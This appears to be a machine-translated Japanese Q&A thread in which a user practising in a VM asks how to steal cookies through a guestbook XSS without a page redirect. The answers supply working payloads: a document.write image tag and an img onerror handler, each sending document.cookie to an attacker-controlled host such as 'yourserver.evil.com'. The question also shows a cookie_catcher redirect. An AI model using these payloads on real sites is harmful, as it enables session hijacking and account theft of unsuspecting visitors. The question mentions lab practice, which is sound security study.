私はOWASPガイドに従ってVMで練習しています。 "False"ページなどにリダイレクトすることでCookieを盗むことは可能ですが、別のページにリダイレクトせずにCookieを盗みたいと思いますページ。
それで、もしあなたがいくつかのゲストブックを持っていて、あなたが置くなら:
document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie
リダイレクトせずにこれを既存のページに挿入するにはどうすればよいですか?
基本的に、私が欲しいのは、誰かがリンクをクリックしてCookieを取得し、現在のページのどこかに印刷するときです。たぶんいくつかのalt
タグか何かで。
何か案は?
JavaScriptを完全に制御してページに書き込む場合、次のようにすることができます
document.write('cookie: ' + document.cookie)
別のサーバーに送信する場合は、存在しないイメージに含めることができます。
document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')
ここで重要なのは、任意のJavaScriptを出力できるかどうか、または実行できるJavaScriptの種類に制限があるかどうかです。ただし、出力できる内容が限られている場合は、カスタムコードを実行するためのより高度な方法を使用できますが、これは問題の範囲から少し外れています。
スティーブの答えに加えて、これを達成する多くの異なる方法があります。盗まれたCookieをユーザーに知らせないようにする場合は、<img>
スティーブが提案した攻撃。非常に多くの文字を使用するため、私はdocument.writeを回避することを好みますが、
<img src=x onerror=this.src='http://yourserver/?c='+document.cookie>